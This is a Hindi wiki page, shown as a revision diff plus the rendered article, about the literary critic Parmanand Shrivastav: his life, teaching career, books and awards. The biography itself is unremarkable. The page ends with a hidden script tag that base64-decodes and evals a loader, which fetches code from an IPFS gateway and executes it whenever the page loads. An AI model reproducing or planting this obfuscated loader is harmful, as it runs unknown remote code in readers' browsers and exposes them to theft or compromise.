"परमानन्द श्रीवास्तव": अवतरणों में अंतर
(''''परमानन्द श्रीवास्तव''' (अंग्रेज़ी: ''Parmanand Shrivastav'', जन्म...' के साथ नया पृष्ठ बनाया) |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
'''परमानन्द श्रीवास्तव''' ([[अंग्रेज़ी]]: ''Parmanand Shrivastav'', जन्म- [[10 फ़रवरी]], [[1935]]; मृत्यु- [[5 नवम्बर]], [[2013]]) [[हिन्दी]] के शीर्ष आलोचकों में गिने जाने वाले प्रतिष्ठित [[साहित्यकार]] थे। आलोचना के क्षेत्र में उल्लेखनीय योगदान के लिये उन्हें साल [[2006]] में [[व्यास सम्मान]] से सम्मानित किया गया था। गोरखपुर विश्वविद्यालय में प्रेमचन्द पीठ की स्थापना में उनका विशेष योगदान रहा। कई पुस्तकों के लेखन के अतिरिक्त उन्होंने [[हिन्दी भाषा]] की साहित्यिक [[पत्रिका]] 'आलोचना' का सम्पादन भी किया। परमानन्द श्रीवास्तव 'भारत भारती पुरस्कार' प्राप्तकर्ता थे। | {{सूचना बक्सा साहित्यकार | ||
|चित्र=Parmanand-Shrivastav.jpg | |||
|चित्र का नाम=परमानन्द श्रीवास्तव | |||
|पूरा नाम=परमानन्द श्रीवास्तव | |||
|अन्य नाम= | |||
|जन्म=[[10 फ़रवरी]], [[1935]] | |||
|जन्म भूमि=बांसगांव, [[गोरखपुर]], [[उत्तर प्रदेश]] | |||
|मृत्यु=[[5 नवम्बर]], [[2013]] | |||
|मृत्यु स्थान=[[गोरखपुर]], [[उत्तर प्रदेश]] | |||
|अभिभावक= | |||
|पालक माता-पिता= | |||
|पति/पत्नी= | |||
|संतान= | |||
|कर्म भूमि=[[भारत]] | |||
|कर्म-क्षेत्र=[[हिन्दी साहित्य]] | |||
|मुख्य रचनाएँ= | |||
|विषय= | |||
|भाषा= | |||
|विद्यालय=आगरा विश्वविद्यालय, [[उत्तर प्रदेश]] | |||
|शिक्षा=एम.ए. ([[हिन्दी]]) | |||
|पुरस्कार-उपाधि=[[व्यास सम्मान]], [[2006]]<br /> | |||
रामचंद्र शुक्ल पुरस्कार (आलोचना हेतु)<br /> | |||
भारत भारती, उत्तर प्रदेश ([[2006]]) | |||
|प्रसिद्धि=आलोचक | |||
|विशेष योगदान= | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख= | |||
|शीर्षक 1=शैली | |||
|पाठ 1=गद्य एवं पद्य | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी='समकालीन कविता का यथार्थ' पुस्तक के लिए परमानन्द श्रीवास्तव को आलोचना के 'रामचंद्र शुक्ल पुरस्कार' से सम्मानित किया गया था। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}}'''परमानन्द श्रीवास्तव''' ([[अंग्रेज़ी]]: ''Parmanand Shrivastav'', जन्म- [[10 फ़रवरी]], [[1935]]; मृत्यु- [[5 नवम्बर]], [[2013]]) [[हिन्दी]] के शीर्ष आलोचकों में गिने जाने वाले प्रतिष्ठित [[साहित्यकार]] थे। आलोचना के क्षेत्र में उल्लेखनीय योगदान के लिये उन्हें साल [[2006]] में [[व्यास सम्मान]] से सम्मानित किया गया था। गोरखपुर विश्वविद्यालय में प्रेमचन्द पीठ की स्थापना में उनका विशेष योगदान रहा। कई पुस्तकों के लेखन के अतिरिक्त उन्होंने [[हिन्दी भाषा]] की साहित्यिक [[पत्रिका]] 'आलोचना' का सम्पादन भी किया। परमानन्द श्रीवास्तव 'भारत भारती पुरस्कार' प्राप्तकर्ता थे। | |||
==परिचय== | ==परिचय== | ||
परमानन्द श्रीवास्तव का जन्म 10 फरवरी, 1935 को बांसगांव, [[गोरखपुर]], [[उत्तर प्रदेश]] में हुआ था। उन्होंने हिन्दी से एम.ए. की डिग्री आगरा विश्वविद्यालय ([[1956]]) से प्राप्त की थी। साल [[1963]] में उन्होंने 'हिंदी कहानी की रचना प्रकिया' पर पीएचडी गोरखपुर विश्वविद्यालय से की। वहीं 'खड़ी बोली काव्यभाषा का विकास' के लिये [[1975]] में गोरखपुर विश्वविद्यालय से ही डी.लिट की उपाधि पाई। इसके बाद परमानन्द श्रीवास्तव जी ने सेंट एंड्रयूज कालेज, गोरखपुर के हिंदी विभाग में अध्यक्षता तथा अध्यापन कार्य ([[1956]]-[[1969]]) किया। सन [[1969]] से सेवानिवृत्ति तक गोरखपुर विश्वविद्यालय में अध्यापन कराते रहे। बीच में एक वर्ष के लिए वर्द्धमान विश्वविद्यालय, [[पश्चिम बंगाल]] में बतौर प्रोफेसर अध्यापन कराया। फिर [[1989]] से [[1995]] तक प्रेमचंद पीठ, गोरखपुर विश्वविद्यालय में प्रोफेसर रहे। [[1983]]-[[1992]] तक केंद्रीय साहित्य अकादमी, साधारण सभा एवं परामर्श मंडल में विशिष्ट सदस्य रहे। | परमानन्द श्रीवास्तव का जन्म 10 फरवरी, 1935 को बांसगांव, [[गोरखपुर]], [[उत्तर प्रदेश]] में हुआ था। उन्होंने हिन्दी से एम.ए. की डिग्री आगरा विश्वविद्यालय ([[1956]]) से प्राप्त की थी। साल [[1963]] में उन्होंने 'हिंदी कहानी की रचना प्रकिया' पर पीएचडी गोरखपुर विश्वविद्यालय से की। वहीं 'खड़ी बोली काव्यभाषा का विकास' के लिये [[1975]] में गोरखपुर विश्वविद्यालय से ही डी.लिट की उपाधि पाई। इसके बाद परमानन्द श्रीवास्तव जी ने सेंट एंड्रयूज कालेज, गोरखपुर के हिंदी विभाग में अध्यक्षता तथा अध्यापन कार्य ([[1956]]-[[1969]]) किया। सन [[1969]] से सेवानिवृत्ति तक गोरखपुर विश्वविद्यालय में अध्यापन कराते रहे। बीच में एक वर्ष के लिए वर्द्धमान विश्वविद्यालय, [[पश्चिम बंगाल]] में बतौर प्रोफेसर अध्यापन कराया। फिर [[1989]] से [[1995]] तक प्रेमचंद पीठ, गोरखपुर विश्वविद्यालय में प्रोफेसर रहे। [[1983]]-[[1992]] तक केंद्रीय साहित्य अकादमी, साधारण सभा एवं परामर्श मंडल में विशिष्ट सदस्य रहे। |
10:37, 12 सितम्बर 2021 के समय का अवतरण
परमानन्द श्रीवास्तव
| |
पूरा नाम | परमानन्द श्रीवास्तव |
जन्म | 10 फ़रवरी, 1935 |
जन्म भूमि | बांसगांव, गोरखपुर, उत्तर प्रदेश |
मृत्यु | 5 नवम्बर, 2013 |
मृत्यु स्थान | गोरखपुर, उत्तर प्रदेश |
कर्म भूमि | भारत |
कर्म-क्षेत्र | हिन्दी साहित्य |
विद्यालय | आगरा विश्वविद्यालय, उत्तर प्रदेश |
शिक्षा | एम.ए. (हिन्दी) |
पुरस्कार-उपाधि | व्यास सम्मान, 2006 रामचंद्र शुक्ल पुरस्कार (आलोचना हेतु) |
प्रसिद्धि | आलोचक |
नागरिकता | भारतीय |
शैली | गद्य एवं पद्य |
अन्य जानकारी | 'समकालीन कविता का यथार्थ' पुस्तक के लिए परमानन्द श्रीवास्तव को आलोचना के 'रामचंद्र शुक्ल पुरस्कार' से सम्मानित किया गया था। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
परमानन्द श्रीवास्तव (अंग्रेज़ी: Parmanand Shrivastav, जन्म- 10 फ़रवरी, 1935; मृत्यु- 5 नवम्बर, 2013) हिन्दी के शीर्ष आलोचकों में गिने जाने वाले प्रतिष्ठित साहित्यकार थे। आलोचना के क्षेत्र में उल्लेखनीय योगदान के लिये उन्हें साल 2006 में व्यास सम्मान से सम्मानित किया गया था। गोरखपुर विश्वविद्यालय में प्रेमचन्द पीठ की स्थापना में उनका विशेष योगदान रहा। कई पुस्तकों के लेखन के अतिरिक्त उन्होंने हिन्दी भाषा की साहित्यिक पत्रिका 'आलोचना' का सम्पादन भी किया। परमानन्द श्रीवास्तव 'भारत भारती पुरस्कार' प्राप्तकर्ता थे।
परिचय
परमानन्द श्रीवास्तव का जन्म 10 फरवरी, 1935 को बांसगांव, गोरखपुर, उत्तर प्रदेश में हुआ था। उन्होंने हिन्दी से एम.ए. की डिग्री आगरा विश्वविद्यालय (1956) से प्राप्त की थी। साल 1963 में उन्होंने 'हिंदी कहानी की रचना प्रकिया' पर पीएचडी गोरखपुर विश्वविद्यालय से की। वहीं 'खड़ी बोली काव्यभाषा का विकास' के लिये 1975 में गोरखपुर विश्वविद्यालय से ही डी.लिट की उपाधि पाई। इसके बाद परमानन्द श्रीवास्तव जी ने सेंट एंड्रयूज कालेज, गोरखपुर के हिंदी विभाग में अध्यक्षता तथा अध्यापन कार्य (1956-1969) किया। सन 1969 से सेवानिवृत्ति तक गोरखपुर विश्वविद्यालय में अध्यापन कराते रहे। बीच में एक वर्ष के लिए वर्द्धमान विश्वविद्यालय, पश्चिम बंगाल में बतौर प्रोफेसर अध्यापन कराया। फिर 1989 से 1995 तक प्रेमचंद पीठ, गोरखपुर विश्वविद्यालय में प्रोफेसर रहे। 1983-1992 तक केंद्रीय साहित्य अकादमी, साधारण सभा एवं परामर्श मंडल में विशिष्ट सदस्य रहे।
प्रकाशित कृतियां
कविता संग्रह
- उजली हंसी के छोर पर (1960)
- अगली शताब्दी के बारे में (1980)
- चौथा शब्द (1993)
- एक अनायक का वृत्तात (2004)
आलोचना
- नयी कविता का परिपेक्ष्य (1965)
- हिंदी कहानी की रचना प्रक्रिया (1980)
- कवि कर्म और काव्य भाषा (1975)
- उपन्यास का यथार्थ और रचनात्मक भाषा (1976)
- जैनेंद्र के उपन्यास (1976)
- समकालीन कविता का यथार्थ (1980)
- शब्द और मनुष्य (1988)
- कविता का पाठ और काव्यमर्म (1992)
- उपन्यास का जनपद और उपन्यास की मुक्ति (1994)
- उपन्यास का पुनर्जन्म (1995)
- निराला (साहित्य अकादमी) (उर्दू और उड़िया में अनूदित)
- जायसी (साहित्य अकादमी) (पंजाबी में अनूदित)[1]
संपादित पुस्तकें
- समकालीन हिंदी कविता
- महादेवी
- शेखर एक जीवनी का महत्व
- निराला की कविताएं :मूल्यांकन और मूल्यांकन
- प्रतिनिधि कविताएं :केदार नाथ सिंह
पत्रिकाओं का संपादन
- आलोचना (राजकमल प्रकाशन)
- साखी (प्रेमचंद साहित्य संस्थान)
पुरस्कार व सम्मान
- कविकर्म और काव्यभाषा आलोचना
- उपन्यास का यथार्थ और रचनात्मक भाषा
- समकालीन कविता का यथार्थ आलोचना
- अगली शताब्दी के बारे में कविता
उपर्युक्त कृतियां उत्तर प्रदेश हिंदी संस्थान द्वारा पुरस्कृत हैं। 'समकालीन कविता का यथार्थ' पुस्तक के लिए परमानन्द श्रीवास्तव को आलोचना के 'रामचंद्र शुक्ल पुरस्कार' से सम्मानित किया गया था। उत्तर प्रदेश सरकार का 'भारत भारती सम्मान' भी आपको मिला। वर्ष 2006 में पुस्तक 'कविता का यथार्थ' के लिये 'व्यास सम्मान' मिला।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ परमानंद श्रीवास्तव का जीवन वृत्त (हिंदी) jagran.com। अभिगमन तिथि: 12 सितम्बर, 2021।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>